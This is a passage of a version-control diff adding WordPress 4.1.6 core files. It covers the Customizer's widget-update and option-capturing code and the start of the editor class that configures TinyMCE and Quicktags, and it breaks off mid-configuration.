+		$widget_ids = array_values( array_intersect( $widget_ids, array_keys( $wp_registered_widgets ) ) );
+		return $widget_ids;
+	}
+
+	/**
+	 * Find and invoke the widget update and control callbacks.
+	 *
+	 * Requires that $_POST be populated with the instance data.
+	 *
+	 * @since 3.9.0
+	 * @access public
+	 *
+	 * @param  string $widget_id Widget ID.
+	 * @return WP_Error|array Array containing the updated widget information.
+	 *                        A WP_Error object, otherwise.
+	 */
+	public function call_widget_update( $widget_id ) {
+		global $wp_registered_widget_updates, $wp_registered_widget_controls;
+
+		$this->start_capturing_option_updates();
+		$parsed_id   = $this->parse_widget_id( $widget_id );
+		$option_name = 'widget_' . $parsed_id['id_base'];
+
+		/*
+		 * If a previously-sanitized instance is provided, populate the input vars
+		 * with its values so that the widget update callback will read this instance
+		 */
+		$added_input_vars = array();
+		if ( ! empty( $_POST['sanitized_widget_setting'] ) ) {
+			$sanitized_widget_setting = json_decode( $this->get_post_value( 'sanitized_widget_setting' ), true );
+			if ( false === $sanitized_widget_setting ) {
+				$this->stop_capturing_option_updates();
+				return new WP_Error( 'widget_setting_malformed' );
+			}
+
+			$instance = $this->sanitize_widget_instance( $sanitized_widget_setting );
+			if ( is_null( $instance ) ) {
+				$this->stop_capturing_option_updates();
+				return new WP_Error( 'widget_setting_unsanitized' );
+			}
+
+			if ( ! is_null( $parsed_id['number'] ) ) {
+				$value = array();
+				$value[$parsed_id['number']] = $instance;
+				$key = 'widget-' . $parsed_id['id_base'];
+				$_REQUEST[$key] = $_POST[$key] = wp_slash( $value );
+				$added_input_vars[] = $key;
+			} else {
+				foreach ( $instance as $key => $value ) {
+					$_REQUEST[$key] = $_POST[$key] = wp_slash( $value );
+					$added_input_vars[] = $key;
+				}
+			}
+		}
+
+		// Invoke the widget update callback.
+		foreach ( (array) $wp_registered_widget_updates as $name => $control ) {
+			if ( $name === $parsed_id['id_base'] && is_callable( $control['callback'] ) ) {
+				ob_start();
+				call_user_func_array( $control['callback'], $control['params'] );
+				ob_end_clean();
+				break;
+			}
+		}
+
+		// Clean up any input vars that were manually added
+		foreach ( $added_input_vars as $key ) {
+			unset( $_POST[$key] );
+			unset( $_REQUEST[$key] );
+		}
+
+		// Make sure the expected option was updated.
+		if ( 0 !== $this->count_captured_options() ) {
+			if ( $this->count_captured_options() > 1 ) {
+				$this->stop_capturing_option_updates();
+				return new WP_Error( 'widget_setting_too_many_options' );
+			}
+
+			$updated_option_name = key( $this->get_captured_options() );
+			if ( $updated_option_name !== $option_name ) {
+				$this->stop_capturing_option_updates();
+				return new WP_Error( 'widget_setting_unexpected_option' );
+			}
+		}
+
+		// Obtain the widget control with the updated instance in place.
+		ob_start();
+
+		$form = $wp_registered_widget_controls[$widget_id];
+		if ( $form ) {
+			call_user_func_array( $form['callback'], $form['params'] );
+		}
+
+		$form = ob_get_clean();
+
+		// Obtain the widget instance.
+		$option = get_option( $option_name );
+
+		if ( null !== $parsed_id['number'] ) {
+			$instance = $option[$parsed_id['number']];
+		} else {
+			$instance = $option;
+		}
+
+		$this->stop_capturing_option_updates();
+
+		return compact( 'instance', 'form' );
+	}
+
+	/**
+	 * Update widget settings asynchronously.
+	 *
+	 * Allows the Customizer to update a widget using its form, but return the new
+	 * instance info via Ajax instead of saving it to the options table.
+	 *
+	 * Most code here copied from wp_ajax_save_widget()
+	 *
+	 * @since 3.9.0
+	 * @access public
+	 *
+	 * @see wp_ajax_save_widget()
+	 *
+	 */
+	public function wp_ajax_update_widget() {
+
+		if ( ! is_user_logged_in() ) {
+			wp_die( 0 );
+		}
+
+		check_ajax_referer( 'update-widget', 'nonce' );
+
+		if ( ! current_user_can( 'edit_theme_options' ) ) {
+			wp_die( -1 );
+		}
+
+		if ( ! isset( $_POST['widget-id'] ) ) {
+			wp_send_json_error();
+		}
+
+		/** This action is documented in wp-admin/includes/ajax-actions.php */
+		do_action( 'load-widgets.php' );
+
+		/** This action is documented in wp-admin/includes/ajax-actions.php */
+		do_action( 'widgets.php' );
+
+		/** This action is documented in wp-admin/widgets.php */
+		do_action( 'sidebar_admin_setup' );
+
+		$widget_id = $this->get_post_value( 'widget-id' );
+		$parsed_id = $this->parse_widget_id( $widget_id );
+		$id_base   = $parsed_id['id_base'];
+
+		if ( isset( $_POST['widget-' . $id_base] ) && is_array( $_POST['widget-' . $id_base] ) && preg_match( '/__i__|%i%/', key( $_POST['widget-' . $id_base] ) ) ) {
+			wp_send_json_error();
+		}
+
+		$updated_widget = $this->call_widget_update( $widget_id ); // => {instance,form}
+		if ( is_wp_error( $updated_widget ) ) {
+			wp_send_json_error();
+		}
+
+		$form = $updated_widget['form'];
+		$instance = $this->sanitize_widget_js_instance( $updated_widget['instance'] );
+
+		wp_send_json_success( compact( 'form', 'instance' ) );
+	}
+
+	/***************************************************************************
+	 * Option Update Capturing
+	 ***************************************************************************/
+
+	/**
+	 * List of captured widget option updates.
+	 *
+	 * @since 3.9.0
+	 * @access protected
+	 * @var array $_captured_options Values updated while option capture is happening.
+	 */
+	protected $_captured_options = array();
+
+	/**
+	 * Whether option capture is currently happening.
+	 *
+	 * @since 3.9.0
+	 * @access protected
+	 * @var bool $_is_current Whether option capture is currently happening or not.
+	 */
+	protected $_is_capturing_option_updates = false;
+
+	/**
+	 * Determine whether the captured option update should be ignored.
+	 *
+	 * @since 3.9.0
+	 * @access protected
+	 *
+	 * @param string $option_name Option name.
+	 * @return boolean Whether the option capture is ignored.
+	 */
+	protected function is_option_capture_ignored( $option_name ) {
+		return ( 0 === strpos( $option_name, '_transient_' ) );
+	}
+
+	/**
+	 * Retrieve captured widget option updates.
+	 *
+	 * @since 3.9.0
+	 * @access protected
+	 *
+	 * @return array Array of captured options.
+	 */
+	protected function get_captured_options() {
+		return $this->_captured_options;
+	}
+
+	/**
+	 * Get the number of captured widget option updates.
+	 *
+	 * @since 3.9.0
+	 * @access protected
+	 *
+	 * @return int Number of updated options.
+	 */
+	protected function count_captured_options() {
+		return count( $this->_captured_options );
+	}
+
+	/**
+	 * Start keeping track of changes to widget options, caching new values.
+	 *
+	 * @since 3.9.0
+	 * @access protected
+	 */
+	protected function start_capturing_option_updates() {
+		if ( $this->_is_capturing_option_updates ) {
+			return;
+		}
+
+		$this->_is_capturing_option_updates = true;
+
+		add_filter( 'pre_update_option', array( $this, 'capture_filter_pre_update_option' ), 10, 3 );
+	}
+
+	/**
+	 * Pre-filter captured option values before updating.
+	 *
+	 * @since 3.9.0
+	 * @access public
+	 *
+	 * @param mixed $new_value
+	 * @param string $option_name
+	 * @param mixed $old_value
+	 * @return mixed
+	 */
+	public function capture_filter_pre_update_option( $new_value, $option_name, $old_value ) {
+		if ( $this->is_option_capture_ignored( $option_name ) ) {
+			return;
+		}
+
+		if ( ! isset( $this->_captured_options[$option_name] ) ) {
+			add_filter( "pre_option_{$option_name}", array( $this, 'capture_filter_pre_get_option' ) );
+		}
+
+		$this->_captured_options[$option_name] = $new_value;
+
+		return $old_value;
+	}
+
+	/**
+	 * Pre-filter captured option values before retrieving.
+	 *
+	 * @since 3.9.0
+	 * @access public
+	 *
+	 * @param mixed $value Option
+	 * @return mixed
+	 */
+	public function capture_filter_pre_get_option( $value ) {
+		$option_name = preg_replace( '/^pre_option_/', '', current_filter() );
+
+		if ( isset( $this->_captured_options[$option_name] ) ) {
+			$value = $this->_captured_options[$option_name];
+
+			/** This filter is documented in wp-includes/option.php */
+			$value = apply_filters( 'option_' . $option_name, $value );
+		}
+
+		return $value;
+	}
+
+	/**
+	 * Undo any changes to the options since options capture began.
+	 *
+	 * @since 3.9.0
+	 * @access protected
+	 */
+	protected function stop_capturing_option_updates() {
+		if ( ! $this->_is_capturing_option_updates ) {
+			return;
+		}
+
+		remove_filter( 'pre_update_option', array( $this, 'capture_filter_pre_update_option' ), 10, 3 );
+
+		foreach ( array_keys( $this->_captured_options ) as $option_name ) {
+			remove_filter( "pre_option_{$option_name}", array( $this, 'capture_filter_pre_get_option' ) );
+		}
+
+		$this->_captured_options = array();
+		$this->_is_capturing_option_updates = false;
+	}
+}
Index: /tags/4.1.6/src/wp-includes/class-wp-editor.php
===================================================================
--- /tags/4.1.6/src/wp-includes/class-wp-editor.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/class-wp-editor.php	(revision 33402)
@@ -0,0 +1,1493 @@
+<?php
+/**
+ * Facilitates adding of the WordPress editor as used on the Write and Edit screens.
+ *
+ * @package WordPress
+ * @since 3.3.0
+ *
+ * Private, not included by default. See wp_editor() in wp-includes/general-template.php.
+ */
+
+final class _WP_Editors {
+	public static $mce_locale;
+
+	private static $mce_settings = array();
+	private static $qt_settings = array();
+	private static $plugins = array();
+	private static $qt_buttons = array();
+	private static $ext_plugins;
+	private static $baseurl;
+	private static $first_init;
+	private static $this_tinymce = false;
+	private static $this_quicktags = false;
+	private static $has_tinymce = false;
+	private static $has_quicktags = false;
+	private static $has_medialib = false;
+	private static $editor_buttons_css = true;
+	private static $drag_drop_upload = false;
+
+	private function __construct() {}
+
+	/**
+	 * Parse default arguments for the editor instance.
+	 *
+	 * @param string $editor_id ID for the current editor instance.
+	 * @param array  $settings {
+	 *     Array of editor arguments.
+	 *
+	 *     @type bool       $wpautop           Whether to use wpautop(). Default true.
+	 *     @type bool       $media_buttons     Whether to show the Add Media/other media buttons.
+	 *     @type string     $default_editor    When both TinyMCE and Quicktags are used, set which
+	 *                                         editor is shown on page load. Default empty.
+	 *     @type bool       $drag_drop_upload  Whether to enable drag & drop on the editor uploading. Default false.
+	 *                                         Requires the media modal.
+	 *     @type string     $textarea_name     Give the textarea a unique name here. Square brackets
+	 *                                         can be used here. Default $editor_id.
+	 *     @type int        $textarea_rows     Number rows in the editor textarea. Default 20.
+	 *     @type string|int $tabindex          Tabindex value to use. Default empty.
+	 *     @type string     $tabfocus_elements The previous and next element ID to move the focus to
+	 *                                         when pressing the Tab key in TinyMCE. Defualt ':prev,:next'.
+	 *     @type string     $editor_css        Intended for extra styles for both Visual and Text editors.
+	 *                                         Should include `<style>` tags, and can use "scoped". Default empty.
+	 *     @type string     $editor_class      Extra classes to add to the editor textarea elemen. Default empty.
+	 *     @type bool       $teeny             Whether to output the minimal editor config. Examples include
+	 *                                         Press This and the Comment editor. Default false.
+	 *     @type bool       $dfw               Whether to replace the default fullscreen with "Distraction Free
+	 *                                         Writing". DFW requires specific DOM elements and css). Default false.
+	 *     @type bool|array $tinymce           Whether to load TinyMCE. Can be used to pass settings directly to
+	 *                                         TinyMCE using an array. Default true.
+	 *     @type bool|array $quicktags         Whether to load Quicktags. Can be used to pass settings directly to
+	 *                                         Quicktags using an array. Default true.
+	 * }
+	 * @return array Parsed arguments array.
+	 */
+	public static function parse_settings( $editor_id, $settings ) {
+
+		/**
+		 * Filter the wp_editor() settings.
+		 *
+		 * @since 4.0.0
+		 *
+		 * @see _WP_Editors()::parse_settings()
+		 *
+		 * @param array  $settings  Array of editor arguments.
+		 * @param string $editor_id ID for the current editor instance.
+		 */
+		$settings = apply_filters( 'wp_editor_settings', $settings, $editor_id );
+
+		$set = wp_parse_args( $settings, array(
+			'wpautop'             => true,
+			'media_buttons'       => true,
+			'default_editor'      => '',
+			'drag_drop_upload'    => false,
+			'textarea_name'       => $editor_id,
+			'textarea_rows'       => 20,
+			'tabindex'            => '',
+			'tabfocus_elements'   => ':prev,:next',
+			'editor_css'          => '',
+			'editor_class'        => '',
+			'teeny'               => false,
+			'dfw'                 => false,
+			'_content_editor_dfw' => false,
+			'tinymce'             => true,
+			'quicktags'           => true
+		) );
+
+		self::$this_tinymce = ( $set['tinymce'] && user_can_richedit() );
+
+		if ( self::$this_tinymce ) {
+			if ( false !== strpos( $editor_id, '[' ) ) {
+				self::$this_tinymce = false;
+				_deprecated_argument( 'wp_editor()', '3.9', 'TinyMCE editor IDs cannot have brackets.' );
+			}
+		}
+
+		self::$this_quicktags = (bool) $set['quicktags'];
+
+		if ( self::$this_tinymce )
+			self::$has_tinymce = true;
+
+		if ( self::$this_quicktags )
+			self::$has_quicktags = true;
+
+		if ( empty( $set['editor_height'] ) )
+			return $set;
+
+		if ( 'content' === $editor_id && empty( $set['tinymce']['wp_autoresize_on'] ) ) {
+			// A cookie (set when a user resizes the editor) overrides the height.
+			$cookie = (int) get_user_setting( 'ed_size' );
+
+			if ( $cookie )
+				$set['editor_height'] = $cookie;
+		}
+
+		if ( $set['editor_height'] < 50 )
+			$set['editor_height'] = 50;
+		elseif ( $set['editor_height'] > 5000 )
+			$set['editor_height'] = 5000;
+
+		return $set;
+	}
+
+	/**
+	 * Outputs the HTML for a single instance of the editor.
+	 *
+	 * @param string $content The initial content of the editor.
+	 * @param string $editor_id ID for the textarea and TinyMCE and Quicktags instances (can contain only ASCII letters and numbers).
+	 * @param array $settings See the _parse_settings() method for description.
+	 */
+	public static function editor( $content, $editor_id, $settings = array() ) {
+
+		$set = self::parse_settings( $editor_id, $settings );
+		$editor_class = ' class="' . trim( $set['editor_class'] . ' wp-editor-area' ) . '"';
+		$tabindex = $set['tabindex'] ? ' tabindex="' . (int) $set['tabindex'] . '"' : '';
+		$switch_class = 'html-active';
+		$toolbar = $buttons = $autocomplete = '';
+
+		if ( $set['drag_drop_upload'] ) {
+			self::$drag_drop_upload = true;
+		}
+
+		if ( ! empty( $set['editor_height'] ) )
+			$height = ' style="height: ' . $set['editor_height'] . 'px"';
+		else
+			$height = ' rows="' . $set['textarea_rows'] . '"';
+
+		if ( !current_user_can( 'upload_files' ) )
+			$set['media_buttons'] = false;
+
+		if ( ! self::$this_quicktags && self::$this_tinymce ) {
+			$switch_class = 'tmce-active';
+			$autocomplete = ' autocomplete="off"';
+		} elseif ( self::$this_quicktags && self::$this_tinymce ) {
+			$default_editor = $set['default_editor'] ? $set['default_editor'] : wp_default_editor();
+			$autocomplete = ' autocomplete="off"';
+
+			// 'html' is used for the "Text" editor tab.
+			if ( 'html' === $default_editor ) {
+				add_filter('the_editor_content', 'wp_htmledit_pre');
+				$switch_class = 'html-active';
+			} else {
+				add_filter('the_editor_content', 'wp_richedit_pre');
+				$switch_class = 'tmce-active';
+			}
+
+			$buttons .= '<button type="button" id="' . $editor_id . '-tmce" class="wp-switch-editor switch-tmce" onclick="switchEditors.switchto(this);">' . __('Visual') . "</button>\n";
+			$buttons .= '<button type="button" id="' . $editor_id . '-html" class="wp-switch-editor switch-html" onclick="switchEditors.switchto(this);">' . _x( 'Text', 'Name for the Text editor tab (formerly HTML)' ) . "</button>\n";
+		}
+
+		$wrap_class = 'wp-core-ui wp-editor-wrap ' . $switch_class;
+
+		if ( $set['_content_editor_dfw'] ) {
+			$wrap_class .= ' has-dfw';
+		}
+
+		echo '<div id="wp-' . $editor_id . '-wrap" class="' . $wrap_class . '">';
+
+		if ( self::$editor_buttons_css ) {
+			wp_print_styles('editor-buttons');
+			self::$editor_buttons_css = false;
+		}
+
+		if ( !empty($set['editor_css']) )
+			echo $set['editor_css'] . "\n";
+
+		if ( !empty($buttons) || $set['media_buttons'] ) {
+			echo '<div id="wp-' . $editor_id . '-editor-tools" class="wp-editor-tools hide-if-no-js">';
+
+			if ( $set['media_buttons'] ) {
+				self::$has_medialib = true;
+
+				if ( !function_exists('media_buttons') )
+					include(ABSPATH . 'wp-admin/includes/media.php');
+
+				echo '<div id="wp-' . $editor_id . '-media-buttons" class="wp-media-buttons">';
+
+				/**
+				 * Fires after the default media button(s) are displayed.
+				 *
+				 * @since 2.5.0
+				 *
+				 * @param string $editor_id Unique editor identifier, e.g. 'content'.
+				 */
+				do_action( 'media_buttons', $editor_id );
+				echo "</div>\n";
+			}
+
+			echo '<div class="wp-editor-tabs">' . $buttons . "</div>\n";
+			echo "</div>\n";
+		}
+
+		/**
+		 * Filter the HTML markup output that displays the editor.
+		 *
+		 * @since 2.1.0
+		 *
+		 * @param string $output Editor's HTML markup.
+		 */
+		$the_editor = apply_filters( 'the_editor', '<div id="wp-' . $editor_id . '-editor-container" class="wp-editor-container">' .
+			'<textarea' . $editor_class . $height . $tabindex . $autocomplete . ' cols="40" name="' . $set['textarea_name'] . '" ' .
+			'id="' . $editor_id . '">%s</textarea></div>' );
+
+		/**
+		 * Filter the default editor content.
+		 *
+		 * @since 2.1.0
+		 *
+		 * @param string $content Default editor content.
+		 */
+		$content = apply_filters( 'the_editor_content', $content );
+
+		printf( $the_editor, $content );
+		echo "\n</div>\n\n";
+
+		self::editor_settings($editor_id, $set);
+	}
+
+	/**
+	 * @param string $editor_id
+	 * @param array  $set
+	 */
+	public static function editor_settings($editor_id, $set) {
+		$first_run = false;
+
+		if ( empty(self::$first_init) ) {
+			if ( is_admin() ) {
+				add_action( 'admin_print_footer_scripts', array( __CLASS__, 'editor_js' ), 50 );
+				add_action( 'admin_print_footer_scripts', array( __CLASS__, 'enqueue_scripts' ), 1 );
+			} else {
+				add_action( 'wp_print_footer_scripts', array( __CLASS__, 'editor_js' ), 50 );
+				add_action( 'wp_print_footer_scripts', array( __CLASS__, 'enqueue_scripts' ), 1 );
+			}
+		}
+
+		if ( self::$this_quicktags ) {
+
+			$qtInit = array(
+				'id' => $editor_id,
+				'buttons' => ''
+			);
+
+			if ( is_array($set['quicktags']) )
+				$qtInit = array_merge($qtInit, $set['quicktags']);
+
+			if ( empty($qtInit['buttons']) )
+				$qtInit['buttons'] = 'strong,em,link,block,del,ins,img,ul,ol,li,code,more,close';
+
+			if ( $set['dfw'] )
+				$qtInit['buttons'] .= ',fullscreen';
+
+			if ( $set['_content_editor_dfw'] ) {
+				$qtInit['buttons'] .= ',dfw';
+			}
+
+			/**
+			 * Filter the Quicktags settings.
+			 *
+			 * @since 3.3.0
+			 *
+			 * @param array  $qtInit    Quicktags settings.
+			 * @param string $editor_id The unique editor ID, e.g. 'content'.
+			 */
+			$qtInit = apply_filters( 'quicktags_settings', $qtInit, $editor_id );
+
+			self::$qt_settings[$editor_id] = $qtInit;
+
+			self::$qt_buttons = array_merge( self::$qt_buttons, explode(',', $qtInit['buttons']) );
+		}
+
+		if ( self::$this_tinymce ) {
+
+			if ( empty( self::$first_init ) ) {
+				self::$baseurl = includes_url( 'js/tinymce' );
+
+				$mce_locale = get_locale();
+				self::$mce_locale = $mce_locale = empty( $mce_locale ) ? 'en' : strtolower( substr( $mce_locale, 0, 2 ) ); // ISO 639-1
+
+				/** This filter is documented in wp-admin/includes/media.php */
+				$no_captions = (bool) apply_filters( 'disable_captions', '' );
+				$first_run = true;
+				$ext_plugins = '';
+
+				if ( $set['teeny'] ) {
+
+					/**
+					 * Filter the list of teenyMCE plugins.
+					 *
+					 * @since 2.7.0
+					 *
+					 * @param array  $plugins   An array of teenyMCE plugins.
+					 * @param string $editor_id Unique editor identifier, e.g. 'content'.
+					 */
+					self::$plugins = $plugins = apply_filters( 'teeny_mce_plugins', array( 'colorpicker', 'lists', 'fullscreen', 'image', 'wordpress', 'wpeditimage', 'wplink' ), $editor_id );
+				} else {
+
+					/**
+					 * Filter the list of TinyMCE external plugins.
+					 *
+					 * The filter takes an associative array of external plugins for
+					 * TinyMCE in the form 'plugin_name' => 'url'.
+					 *
+					 * The url should be absolute, and should include the js filename
+					 * to be loaded. For example:
+					 * 'myplugin' => 'http://mysite.com/wp-content/plugins/myfolder/mce_plugin.js'.
+					 *
+					 * If the external plugin adds a button, it should be added with
+					 * one of the 'mce_buttons' filters.
+					 *
+					 * @since 2.5.0
+					 *
+					 * @param array $external_plugins An array of external TinyMCE plugins.
+					 */
+					$mce_external_plugins = apply_filters( 'mce_external_plugins', array() );
+
+					$plugins = array(
+						'charmap',
+						'colorpicker',
+						'hr',
+						'lists',
+						'media',
+						'paste',
+						'tabfocus',
+						'textcolor',
+						'fullscreen',
+						'wordpress',
+						'wpautoresize',
+						'wpeditimage',
+						'wpgallery',
+						'wplink',
+						'wpdialogs',
+						'wpview',
+					);
+
+					if ( ! self::$has_medialib ) {
+						$plugins[] = 'image';
+					}
+
+					/**
+					 * Filter the list of default TinyMCE plugins.
+					 *
+					 * The filter specifies which of the default plugins included
+					 * in WordPress should be added to the TinyMCE instance.
+					 *
+					 * @since 3.3.0
+					 *
+					 * @param array $plugins An array of default TinyMCE plugins.
+					 */
+					$plugins = array_unique( apply_filters( 'tiny_mce_plugins', $plugins ) );
+
+					if ( ( $key = array_search( 'spellchecker', $plugins ) ) !== false ) {
+						// Remove 'spellchecker' from the internal plugins if added with 'tiny_mce_plugins' filter to prevent errors.
+						// It can be added with 'mce_external_plugins'.
+						unset( $plugins[$key] );
+					}
+
+					if ( ! empty( $mce_external_plugins ) ) {
+
+						/**
+						 * Filter the translations loaded for external TinyMCE 3.x plugins.
+						 *
+						 * The filter takes an associative array ('plugin_name' => 'path')
+						 * where 'path' is the include path to the file.
+						 *
+						 * The language file should follow the same format as wp_mce_translation(),
+						 * and should define a variable ($strings) that holds all translated strings.
+						 *
+						 * @since 2.5.0
+						 *
+						 * @param array $translations Translations for external TinyMCE plugins.
+						 */
+						$mce_external_languages = apply_filters( 'mce_external_languages', array() );
+
+						$loaded_langs = array();
+						$strings = '';
+
+						if ( ! empty( $mce_external_languages ) ) {
+							foreach ( $mce_external_languages as $name => $path ) {
+								if ( @is_file( $path ) && @is_readable( $path ) ) {
+									include_once( $path );
+									$ext_plugins .= $strings . "\n";
+									$loaded_langs[] = $name;
+								}
+							}
+						}
+
+						foreach ( $mce_external_plugins as $name => $url ) {
+							if ( in_array( $name, $plugins, true ) ) {
+								unset( $mce_external_plugins[ $name ] );
+								continue;
+							}
+
+							$url = set_url_scheme( $url );
+							$mce_external_plugins[ $name ] = $url;
+							$plugurl = dirname( $url );
+							$strings = '';
+
+							// Try to load langs/[locale].js and langs/[locale]_dlg.js
+							if ( ! in_array( $name, $loaded_langs, true ) ) {
+								$path = str_replace( content_url(), '', $plugurl );
+								$path = WP_CONTENT_DIR . $path . '/langs/';
+
+								if ( function_exists('realpath') )
+									$path = trailingslashit( realpath($path) );
+
+								if ( @is_file( $path . $mce_locale . '.js' ) )
+									$strings .= @file_get_contents( $path . $mce_locale . '.js' ) . "\n";
+
+								if ( @is_file( $path . $mce_locale . '_dlg.js' ) )
+									$strings .= @file_get_contents( $path . $mce_locale . '_dlg.js' ) . "\n";
+
+								if ( 'en' != $mce_locale && empty( $strings ) ) {
+									if ( @is_file( $path . 'en.js' ) ) {
+										$str1 = @file_get_contents( $path . 'en.js' );
+										$strings .= preg_replace( '/([\'"])en\./', '$1' . $mce_locale . '.', $str1, 1 ) . "\n";
+									}
+
+									if ( @is_file( $path . 'en_dlg.js' ) ) {
+										$str2 = @file_get_contents( $path . 'en_dlg.js' );
+										$strings .= preg_replace( '/([\'"])en\./', '$1' . $mce_locale . '.', $str2, 1 ) . "\n";
+									}
+								}
+
+								if ( ! empty( $strings ) )
+									$ext_plugins .= "\n" . $strings . "\n";
+							}
+
+							$ext_plugins .= 'tinyMCEPreInit.load_ext("' . $plugurl . '", "' . $mce_locale . '");' . "\n";
+							$ext_plugins .= 'tinymce.PluginManager.load("' . $name . '", "' . $url . '");' . "\n";
+						}
+					}
+				}
+
+				if ( $set['dfw'] )
+					$plugins[] = 'wpfullscreen';
+
+				self::$plugins = $plugins;
+				self::$ext_plugins = $ext_plugins;
+
+				self::$first_init = array(
+					'theme' => 'modern',
+					'skin' => 'lightgray',
+					'language' => self::$mce_locale,
+					'formats' => "{
+						alignleft: [
+							{selector: 'p,h1,h2,h3,h4,h5,h6,td,th,div,ul,ol,li', styles: {textAlign:'left'}},
+							{selector: 'img,table,dl.wp-caption', classes: 'alignleft'}
+						],
+						aligncenter: [
+							{selector: 'p,h1,h2,h3,h4,h5,h6,td,th,div,ul,ol,li', styles: {textAlign:'center'}},
+							{selector: 'img,table,dl.wp-caption', classes: 'aligncenter'}
+						],
+						alignright: [
+							{selector: 'p,h1,h2,h3,h4,h5,h6,td,th,div,ul,ol,li', styles: {textAlign:'right'}},
+							{selector: 'img,table,dl.wp-caption', classes: 'alignright'}
+						],
+						strikethrough: {inline: 'del'}
+					}",
+					'block_formats' =>
+						'Paragraph=p;' .
+						'Pre=pre;' .
+						'Heading 1=h1;' .
+						'Heading 2=h2;' .
+						'Heading 3=h3;' .
+						'Heading 4=h4;' .
+						'Heading 5=h5;' .
+						'Heading 6=h6',
+					'relative_urls' => false,
+					'remove_script_host' => false,
+					'convert_urls' => false,
+					'browser_spellcheck' => true,
+					'fix_list_elements' => true,
+					'entities' => '38,amp,60,lt,62,gt',
+					'entity_encoding' => 'raw',
+					'keep_styles' => false,
+					'cache_suffix' => 'wp-mce-' . $GLOBALS['tinymce_version'],
+
+					// Limit the preview styles in the menu/toolbar
+					'preview_styles' => 'font-family font-size font-weight font-style text-decoration text-transform',
+
+					'wpeditimage_disable_captions' => $no_captions,
+					'wpeditimage_html5_captions' => current_theme_supports( 'html5', 'caption' ),
+					'plugins' => implode( ',', $plugins ),
+				);
+
+				if ( ! empty( $mce_external_plugins ) ) {
+					self::$first_init['external_plugins'] = wp_json_encode( $mce_external_plugins );
+				}
+
+				$suffix = defined( 'SCRIPT_DEBUG' ) && SCRIPT_DEBUG ? '' : '.min';
+				$version = 'ver=' . $GLOBALS['wp_version'];
+				$dashicons = includes_url( "css/dashicons$suffix.css?$version" );
+
+				// WordPress default stylesheet and dashicons
+				$mce_css = array(
+					$dashicons,
+					self::$baseurl . '/skins/wordpress/wp-content.css?' . $version
+				);
+
+				$editor_styles = get_editor_stylesheets();
+				if ( ! empty( $editor_styles ) ) {
+					foreach ( $editor_styles as $style ) {
+						$mce_css[] = $style;
+					}
+				}
+
+				/**
+				 * Filter the comma-delimited list of stylesheets to load in TinyMCE.
+				 *
+				 * @since 2.1.0
+				 *
+				 * @param array $stylesheets Comma-delimited list of stylesheets.
+				 */
+				$mce_css = trim( apply_filters( 'mce_css', implode( ',', $mce_css ) ), ' ,' );
+
+				if ( ! empty($mce_css) )
+					self::$first_init['content_css'] = $mce_css;
+			}
+
+			if ( $set['teeny'] ) {
+
+				/**
+				 * Filter the list of teenyMCE buttons (Text tab).
+				 *
+				 * @since 2.7.0
+				 *
+				 * @param array  $buttons   An array of teenyMCE buttons.
+				 * @param string $editor_id Unique editor identifier, e.g. 'content'.
+				 */
+				$mce_buttons = apply_filters( 'teeny_mce_buttons', array('bold', 'italic', 'underline', 'blockquote', 'strikethrough', 'bullist', 'numlist', 'alignleft', 'aligncenter', 'alignright', 'undo', 'redo', 'link', 'unlink', 'fullscreen'), $editor_id );
+				$mce_buttons_2 = $mce_buttons_3 = $mce_buttons_4 = array();
+			} else {
+				$mce_buttons = array( 'bold', 'italic', 'strikethrough', 'bullist', 'numlist', 'blockquote', 'hr', 'alignleft', 'aligncenter', 'alignright', 'link', 'unlink', 'wp_more', 'spellchecker' );
+
+				if ( $set['_content_editor_dfw'] ) {
+					$mce_buttons[] = 'dfw';
+				} else {
+					$mce_buttons[] = 'fullscreen';
+				}
+
+				$mce_buttons[] = 'wp_adv';
+
+				/**
+				 * Filter the first-row list of TinyMCE buttons (Visual tab).
+				 *
+				 * @since 2.0.0
+				 *
+				 * @param array  $buttons   First-row list of buttons.
+				 * @param string $editor_id Unique editor identifier, e.g. 'content'.
+				 */
+				$mce_buttons = apply_filters( 'mce_buttons', $mce_buttons, $editor_id );
+
+				/**
+				 * Filter the second-row list of TinyMCE buttons (Visual tab).
+				 *
+				 * @since 2.0.0
+				 *
+				 * @param array  $buttons   Second-row list of buttons.
+				 * @param string $editor_id Unique editor identifier, e.g. 'content'.
+				 */
+				$mce_buttons_2 = apply_filters( 'mce_buttons_2', array( 'formatselect', 'underline', 'alignjustify', 'forecolor', 'pastetext', 'removeformat', 'charmap', 'outdent', 'indent', 'undo', 'redo', 'wp_help' ), $editor_id );
+
+				/**
+				 * Filter the third-row list of TinyMCE buttons (Visual tab).
+				 *
+				 * @since 2.0.0
+				 *
+				 * @param array  $buttons   Third-row list of buttons.
+				 * @param string $editor_id Unique editor identifier, e.g. 'content'.
+				 */
+				$mce_buttons_3 = apply_filters( 'mce_buttons_3', array(), $editor_id );
+
+				/**
+				 * Filter the fourth-row list of TinyMCE buttons (Visual tab).
+				 *
+				 * @since 2.5.0
+				 *
+				 * @param array  $buttons   Fourth-row list of buttons.
+				 * @param string $editor_id Unique editor identifier, e.g. 'content'.
+				 */
+				$mce_buttons_4 = apply_filters( 'mce_buttons_4', array(), $editor_id );
+			}
+
+			$body_class = $editor_id;
+
+			if ( $post = get_post() ) {
+				$body_class .= ' post-type-' . sanitize_html_class( $post->post_type ) . ' post-status-' . sanitize_html_class( $post->post_status );
+				if ( post_type_supports( $post->post_type, 'post-formats' ) ) {
+					$post_format = get_post_format( $post );
+					if ( $post_format && ! is_wp_error( $post_format ) )
+						$body_class .= ' post-format-' . sanitize_html_class( $post_format );
+					else
+						$body_class .= ' post-format-standard';
+				}
+			}
+
+			$body_class .= ' locale-' . sanitize_html_class( strtolower( str_replace( '_', '-', get_locale() ) ) );
+
+			if ( !empty($set['tinymce']['body_class']) ) {
+				$body_class .= ' ' . $set['tinymce']['body_class'];
+				unset($set['tinymce']['body_class']);
+			}
+
+			if ( $set['dfw'] ) {
+				// replace the first 'fullscreen' with 'wp_fullscreen'
+				if ( ($key = array_search('fullscreen', $mce_buttons)) !== false )
+					$mce_buttons[$key] = 'wp_fullscreen';
+				elseif ( ($key = array_search('fullscreen', $mce_buttons_2)) !== false )
+					$mce_buttons_2[$key] = 'wp_fullscreen';
+				elseif ( ($key = array_search('fullscreen', $mce_buttons_3)) !== false )
+					$mce_buttons_3[$key] = 'wp_fullscreen';
+				elseif ( ($key = array_search('fullscreen', $mce_buttons_4)) !== false )
+					$mce_buttons_4[$key] = 'wp_fullscreen';
+			}
+
+			$mceInit = array (
+				'selector' => "#$editor_id",
+				'resize' => 'vertical',
